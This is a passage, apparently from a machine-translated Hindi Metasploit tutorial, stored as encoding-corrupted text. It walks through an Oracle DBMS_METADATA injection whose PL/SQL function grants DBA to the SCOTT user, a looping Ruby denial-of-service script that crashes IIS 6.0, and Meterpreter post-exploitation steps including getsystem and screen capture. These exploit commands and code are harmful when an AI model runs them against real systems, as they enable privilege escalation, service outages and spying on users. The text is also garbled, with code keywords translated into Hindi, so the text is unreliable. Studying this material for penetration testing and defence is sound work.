рдореЗрдВ рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдореЙрдбреНрдпреВрд▓ рдореЙрдбреНрдпреВрд▓ / рд╕рд╣рд╛рдпрдХ / sqli / oracle рдореЗрдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдЗрдП рдУрд░реЗрдХрд▓ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддреЗ рд╣реИрдВ Oracle DBMS_METADATA XML ред рдпрд╣ рднреЗрджреНрдпрддрд╛ DB_USER рд╕реЗ DB_ADMINISTRATOR ( DBA ) рддрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдПрдЧреА ред рд╣рдо dbms_metadata_get_xml рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ:

  msf> рд╕рд╣рд╛рдпрдХ / sqli / oracle / dbms_metadata_get_xml рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ 
 msf> рд╡рд┐рдХрд▓реНрдк рджрд┐рдЦрд╛рдПрдВ 

 рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд▓реНрдк (рд╕рд╣рд╛рдпрдХ / sqli / oracle / dbms_metadata_get_xml):

 рдирд╛рдо рд╡рд░реНрддрдорд╛рди рд╕реЗрдЯрд┐рдВрдЧ рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╡рд░рдг
 ---- --------------- -------- -----------
 DBPASS TIGER рд╣рд╛рдВ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
 DBUSER SCOTT рд╣рд╛рдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
 рдЖрд░рдПрдЪрдУрдПрд╕рдЯреА рдУрд░реЗрдХрд▓ рд╣реЛрд╕реНрдЯред
 RPORT 1521 рд╣рд╛рдБ TNS рдкреЛрд░реНрдЯред
 SID ORCL рд╣рд╛рдБ рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреИрд░ред
 SQL рдЧреНрд░рд╛рдВрдЯ DBA SCOTT рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ SQL рдирд╣реАрдВред 

рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд╣рд▓реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╕реНрдХреЙрдЯ рдФрд░ рдЯрд╛рдЗрдЧрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧрд┐рди рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИред рдЬрдм рдПрдХ рдореЙрдбреНрдпреВрд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдбреЗрдЯрд╛рдмреЗрд╕ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред

  msf рд╕рд╣рд╛рдпрдХ (dbms_metadata_get_xml)> RHOST 192.168.56.1 рд╕реЗрдЯ рдХрд░реЗрдВ
 msf рд╕рд╣рд╛рдпрдХ (dbms_metadata_get_xml)> SQL YES рд╕реЗрдЯ рдХрд░реЗрдВ
 msf рд╕рд╣рд╛рдпрдХ (dbms_metadata_get_xml)> рдЪрд▓рд╛рдПрдВ 

рдЕрдЧрд▓рд╛ рдореЙрдбреНрдпреВрд▓ рдЬрд┐рд╕реЗ рд╣рдо рдЬрд╛рдВрдЪреЗрдВрдЧреЗ рд╡рд╣ рд╕реЗрд╡рд╛ рд╕реЗ рдЗрдирдХрд╛рд░ (рдбреАрдУрдПрд╕) рд╣рдорд▓реЗ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред рд╣рдо IIS 6.0 рдореЗрдВ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ, рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ 40 рд╕реЗ рдЕрдзрд┐рдХ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рд╡рд╛рд▓реЗ рд╕рд░реНрд╡рд░ рдХреЛ рдХреНрд░реИрд╢ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХреЛ IIS 6.0 рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдПрдХ рдЕрдкреНрд░рдХрд╛рд╢рд┐рдд рд╡рд┐рдВрдбреЛрдЬ 2003 рд╕рд░реНрд╡рд░ рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рдо ms10_065_ii6_asp_dos рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдореЙрдбреНрдпреВрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░реЗрдВрдЧреЗ:

  msf> рд╕рд╣рд╛рдпрдХ / dos / windows / http / ms10_065_ii6_asp_dos рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
 msf рд╕рд╣рд╛рдпрдХ (ms10_065_ii6_asp_dos)> рд╡рд┐рдХрд▓реНрдк рджрд┐рдЦрд╛рдПрдВ
 рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд▓реНрдк (рд╕рд╣рд╛рдпрдХ / рдбреЙрд╕ / рд╡рд┐рдВрдбреЛрдЬрд╝ / http / ms10_065_ii6_asp_dos):

    рдирд╛рдо рд╡рд░реНрддрдорд╛рди рд╕реЗрдЯрд┐рдВрдЧ рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╡рд░рдг
    ---- --------------- -------- -----------
    RHOST рд╣рд╛рдБ рд▓рдХреНрд╖реНрдп рдкрддрд╛
    80 рдирд┐рд░реНрдпрд╛рдд рдХрд░реЗрдВ рд╣рд╛рдБ рд▓рдХреНрд╖реНрдп рдкреЛрд░реНрдЯ
    URI /page.asp рд╣рд╛рдБ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП URI
    VHOST рдирд╣реАрдВ рд╡рд░реНрдЪреБрдЕрд▓ рд╣реЛрд╕реНрдЯ рдирд╛рдо рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП

 msf рд╕рд╣рд╛рдпрдХ (ms10_065_ii6_asp_dos)> рд╕реЗрдЯ RHOST 192.168.56.1 RHOST => 192.168.56.1
 msf рд╕рд╣рд╛рдпрдХ (ms10_065_ii6_asp_dos)> рдЪрд▓рд╛рдПрдБ
 [*] Http://192.168.56.1:80/page.asp рдкрд░ рд╣рдорд▓рд╛ 

рд░рди рдХрдорд╛рдВрдб рдХреЗ рдмрд╛рдж, рдореЙрдбреНрдпреВрд▓ page.asp рдХреЗ рд░реВрдк рдореЗрдВ URI рдХреЗ рд╕рд╛рде 80 рдкреЛрд░реНрдЯ рдХреЛ HTTP рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рд▓рдХреНрд╖реНрдп IIS рд╕рд░реНрд╡рд░ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджреЗрдЧрд╛ ред рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рдлрд▓ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк IIS рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реЗрд╡рд╛ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

Orsc рдбреЗрдЯрд╛рдмреЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд PL / SQL рдлрд╝рдВрдХреНрд╢рди рдЬреЛ SYS рд╕рдВрджрд░реНрдн рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ, рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдПрдХ рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдХреЙрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИред
рдЖрдЗрдП рджреЛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рджреЗрдЦреЗрдВред Oracle рдбрд╛рдЯрд╛рдмреЗрд╕ рд╡рд▓реНрдирд░реЗрдмрд┐рд▓рд┐рдЯреА рдмрд╛рдп рд╡рд▓реНрдиреЗрд░реЗрдмрд┐рд▓рд┐рдЯреА, SYS рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкрд░рд┐рднрд╛рд╖рд┐рдд PL / SQL рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рд╢рд╛рд╕рдХ рдХреЛ рд╕реНрдХреЙрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИред
рд╕рдорд╛рд░реЛрд╣ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:

    рдХреНрд░рд┐рдПрдЯ рдпрд╛ рд░рд┐рдкреНрд▓рд╛рдИ рдлрдВрдХреНрд╢рди "рд╕реНрдХреЙрдЯ"ред "ATTACK_FUNC" рд╡рд░реНрдЧрд╛ 2 рдСрд░реНрдЯрд┐рдб current_user рдХреЛ рдкреНрд░реЙрдЯреЛ рдСрдЯреЛрдиреЛрдорд╕_рдЯреНрд░рд╛рдВрд╕рд▓реЗрд╢рди рдХреЗ рд░реВрдк рдореЗрдВ рд▓реМрдЯрд╛рддрд╛ рд╣реИ;
    рдмреЗрдЧрд┐рди рдПрдХреНрдЬрд╛рдо рдЗрдорд┐рдЯреЗрдб 'рдЧреНрд░реИрдВрдЯ рдбреАрдмреАрдП рдЯреВ рд╕реНрдХреЙрдЪ';
    COMMIT;
    RETURN '';
    рдЕрдВрдд; 


рдлрд╝рдВрдХреНрд╢рди рд╕реНрдХреЙрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдПрдЧрд╛ ред
  рдЪрдпрдирд┐рдд SYS.DBMS_METADATA.GET_DDL ('' '|| SCOTT.ATTACK_FUNC () ||' '', '')
 рджреЛрд╣рд░реА рд╕реЗ; 

рдХреЛрдб рдХреА рдкрд┐рдЫрд▓реА рд▓рд╛рдЗрдиреЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдордЭрд╛рддреА рд╣реИрдВред рдУрд░реЗрдХрд▓ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреБрд╕реНрддрдХ / рдЕрдиреБрд╡рд╛рдж рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдкрд░реЗ рд╣реИред

рдЕрдм рдПрдХ рдбреЙрд╕ рдЕрдЯреИрдХ рдореЙрдбреНрдпреВрд▓ рд╣реИ рдЬреЛ IIS 6.0 рд╕рд░реНрд╡рд░ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдПрдХ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ 40,000 рд╕реЗ рдЕрдзрд┐рдХ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдЗрд╕реЗ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдкреНрд░рдХрд╛рд░ / x-www-form-urlencoded рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд╡рд╣ рднрд╛рдЧ рд╣реИ рдЬреЛ рдореЙрдбреНрдпреВрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ:

рдЕрдм рдПрдХ рдбреЙрд╕ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдореЙрдбреНрдпреВрд▓ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬреЛ IIS 6.0 рд╕рд░реНрд╡рд░ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддрд╛ рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ 40,000 рд╕реЗ рдЕрдзрд┐рдХ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рдкрддреНрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди / x-www-form-urlencoded рдореЗрдВ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдкреНрд░рдХрд╛рд░ рднреЗрдЬрддрд╛ рд╣реИред

  рдЬрдмрдХрд┐ (1)
  рд╢реБрд░реВ рдХрд░рдирд╛
  рдХрдиреЗрдХреНрдЯ
  рдкреЗрд▓реЛрдб = "C = A &" * 40,000
  рд▓рдВрдмрд╛рдИ = рдкреЗрд▓реЛрдб.рд╕рд╛рдЗрдЬ
  sploit = тАЛтАЛ"HEAD # {рдбреЗрдЯрд╛рд╕реНрдЯреЛрд░ ['URI']} HTTP / 1.1 \ r \ n"
  sploit << "рд╣реЛрд╕реНрдЯ: # {рдбреЗрдЯрд╛рд╕реНрдЯреЛрд░ ['VHOST'] || rhost} \ r \ n"
  sploit << "рдХрдиреЗрдХреНрд╢рди: Close \ r \ n"
  sploit << "рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░: рдЕрдиреБрдкреНрд░рдпреЛрдЧ / x-www-form-urlencoded \ r \ n"
  sploit << "рд╕рд╛рдордЧреНрд░реА-рд▓рдВрдмрд╛рдИ: # {рд▓рдВрдмрд╛рдИ} \ r \ n \ r \ n"
  sploit << рдкреЗрд▓реЛрдб
  sock.put (sploit)
  #print_status ("DoS рдкреИрдХреЗрдЯ рднреЗрдЬрд╛ рдЧрдпрд╛ред")
  рдбрд┐рд╕реНрдХрдиреЗрдХреНрдЯ
  рдмрдЪрд╛рд╡ рдПрд░реНрдиреЛ :: ECONNRESET
  рдЕрдЧрд▓рд╛
  рдЕрдВрдд
  рдЕрдВрдд 

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ 40,000 рд╕реЗ рдЕрдзрд┐рдХ рдХрд╛ рдкреЗрд▓реЛрдб рдЖрдХрд╛рд░ рдЙрддреНрдкрдиреНрди рдХрд░рддреА рд╣реИред рдлрд┐рд░ IIS рд╕рд░реНрд╡рд░ рдкрд░ HTTP рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдкреЛрд░реНрдЯ 80 рдкрд░ рдПрдХ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдиреБрд░реЛрдз рд╕рд░реНрд╡рд░ рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рд╣реЛ рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдХреНрд░реИрд╢ рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрдЧрд╛ред

рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдмрд╛рдж рдХреЗ рдореЙрдбреНрдпреВрд▓


рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдореЙрдбреНрдпреВрд▓реЛрдВ рдХреА рдПрдХ рдЕрд▓рдЧ рд╕рдорд░реНрдкрд┐рдд рд╕реВрдЪреА рд╣реИ рдЬреЛ рд╣рдорд╛рд░реЗ рдХреМрд╢рд▓ рдХреЛ рдкреЗрдВрдЯреЗрд╕реНрдЯ рдореЗрдВ рд╕реБрдзрд╛рд░ рд╕рдХрддреА рд╣реИред рдЪреВрдВрдХрд┐ рд╡реЗ рдкреЛрд╕реНрдЯ-рдСрдкрд░реЗрд╢рдирд▓ рдореЙрдбреНрдпреВрд▓ рд╣реИрдВ, рд╣рдореЗрдВ рдПрдХ рд▓рдХреНрд╖реНрдп рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдХреНрд░рд┐рдп рд╕рддреНрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рд╣рдо рд▓рдХреНрд╖реНрдп рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдзреНрдпрд╛рдпреЛрдВ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рдХрд┐рд╕реА рднреА рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкреЛрд╕реНрдЯ-рдореЙрдбреНрдпреВрд▓ - рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдФрд░ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рдЬрд┐рд╕реЗ рдЖрдк рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдЬрд▓реНрджреА рд╕реЗ рдЙрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВред рд╣рдо рдПрдХ рд╕рдХреНрд░рд┐рдп рдореАрдЯрд░рдкрд░реЗрдЯрд░ рд╕рддреНрд░ рдХреЗ рд╕рд╛рде рдЕрдЦрдВрдб рд╡рд┐рдВрдбреЛрдЬ 7 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред

рдЪрд▓реЛ рд╕рд░рд▓ enum_logged_on_users рдореЙрдбреНрдпреВрд▓ рд╕реЗ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рдВрдбреЛрдЬ рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдПрдХ рд╕реВрдЪреА рджрд┐рдЦрд╛рддрд╛ рд╣реИред

  рдореАрдЯрд░рдкрд╛рдЗрдВрдЯрд░> рдЧреЗрдЯрд┐рд╕реНрдЯрдо
 ... рд╕рд┐рд╕реНрдЯрдо рдорд┐рд▓рд╛ (рддрдХрдиреАрдХ 4 рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ)ред
 meterpreter> рд░рди рдкреЛрд╕реНрдЯ / рд╡рд┐рдВрдбреЛ / рдЗрдХрдЯреНрдард╛ / enum_logged_on_users
 [*] рд╕рддреНрд░ рез рдХреЗ рдЦрд┐рд▓рд╛рдл рдЪрд▓ рд░рд╣рд╛ рд╣реИ
 рд╡рд░реНрддрдорд╛рди рд▓реЙрдЧ рдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛
 ====================
 SID рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛
 --- ----
 S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC \ DARKLORD
 рд╣рд╛рд▓ рд╣реА рдореЗрдВ рд▓реЙрдЧ рдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛
 =====================
 SID рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдкрде
 --- ------------
 S-1-5-18% systemroot% \ system32 \ config \ systemprofile
 S-1-5-19 C: \ Windows \ ServiceProfiles \ LocalService
 S-1-5-20 C: \ Windows \ ServiceProfiles \ NetworkService
 S-1-5-21-23502 C: \ Users \ DARKLORD
 S-1-5-21-235 C: \ Users \ Winuser 

рдореЙрдбреНрдпреВрд▓ рдХрд╛ рд╕рдлрд▓ рдирд┐рд╖реНрдкрд╛рджрди рд╣рдореЗрдВ рджреЛ рдЯреЗрдмрд▓ рджрд┐рдЦрд╛рддрд╛ рд╣реИред рдкрд╣рд▓реА рддрд╛рд▓рд┐рдХрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд▓реЙрдЧ рдЗрди рджрд┐рдЦрд╛рддреА рд╣реИ, рдФрд░ рджреВрд╕рд░реА рддрд╛рд▓рд┐рдХрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЗрдВ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рд▓реЙрдЧ рдЗрди рджрд┐рдЦрд╛рддреА рд╣реИред

рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг рд▓реАрдЬрд┐рдПред рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдкреЛрд╕реНрдЯ-рдореЙрдбреНрдпреВрд▓ рд╣реИ рдЬреЛ рд▓рдХреНрд╖реНрдп рдорд╢реАрди рдкрд░ рд╕реНрдХреНрд░реАрди рдХрд╛ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд▓реЗрддрд╛ рд╣реИред

  meterpreter> рд░рди рдкреЛрд╕реНрдЯ / рд╡рд┐рдВрдбреЛ / рдЗрдХрдЯреНрдард╛ / screen_spy
  [*] Explorer.exe рдкрд┐рдб рдХреА рдУрд░ рдкрд▓рд╛рдпрди: резрезрежрек
  [*] рдкреНрд░рд╡рд╛рд╕ рд╕рдлрд▓
  [*] 5 рд╕реЗрдХрдВрдб рдХреА рджреЗрд░реА рд╕реЗ 60 рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛ 

рдЖрдк рдореЙрдбреНрдпреВрд▓ / рдкреЛрд╕реНрдЯ / рд╡рд┐рдВрдбреЛ / рдЗрдХрдЯреНрдард╛ рдореЗрдВ enum_logged_on_user.rb рдФрд░ screen_spy.rb рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ред рд╡реЗ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдВрдЧреЗ рдХрд┐ рдпреЗ рдореЙрдбреНрдпреВрд▓ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред

рдореЙрдбреНрдпреВрд▓ рдмрдирд╛рдиреЗ рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ


рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ рдореЙрдбреНрдпреВрд▓ рдмрдирд╛рдирд╛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рд░реВрдмреА рдХреЗ рдмреБрдирд┐рдпрд╛рджреА рдЬреНрдЮрд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╣реА рд░реВрдмреА рдХреЗ рдЙрдкрдпреЛрдЧ рдФрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИред
рдЖрдЗрдП рдмреБрдирд┐рдпрд╛рджреА рдмрд╛рддреЛрдВ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВред рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдХреЗ рд▓рд┐рдП рдореЙрдбреНрдпреВрд▓ рдХреЛ рдкрдардиреАрдп рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ MSF рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рдЖрдпрд╛рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
рдЖрд╡рд╢реНрдпрдХрддрд╛ 'msf / рдХреЛрд░'

рдпрд╣ рд░реЗрдЦрд╛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдврд╛рдВрдЪреЗ рдХреЗ рд╕рднреА рдирд┐рд░реНрднрд░рддрд╛ рдФрд░ рдХрд╛рд░реНрдп рд╢рд╛рдорд┐рд▓ рд╣реЛрдВрдЧреЗред
рд╡рд░реНрдЧ Metasploit3 <Msf :: рд╕рд╣рд╛рдпрдХ
рдпрд╣ рдкрдВрдХреНрддрд┐ рдЙрд╕ рд╡рд░реНрдЧ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИ рдЬреЛ рд╕рд╣рд╛рдпрдХ рдкрд░рд┐рд╡рд╛рд░ рдХреЗ рдЧреБрдгреЛрдВ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рджреЗрддрд╛ рд╣реИред рд╕рд╣рд╛рдпрдХ рдореЙрдбреНрдпреВрд▓ рдХрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЖрдпрд╛рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рд╕реНрдХреИрдирд┐рдВрдЧ, рдХрдиреЗрдХреНрд╢рди рдЦреЛрд▓рдирд╛, рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛, рдФрд░ рдЗрд╕реА рддрд░рд╣:

  Msf :: рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ 

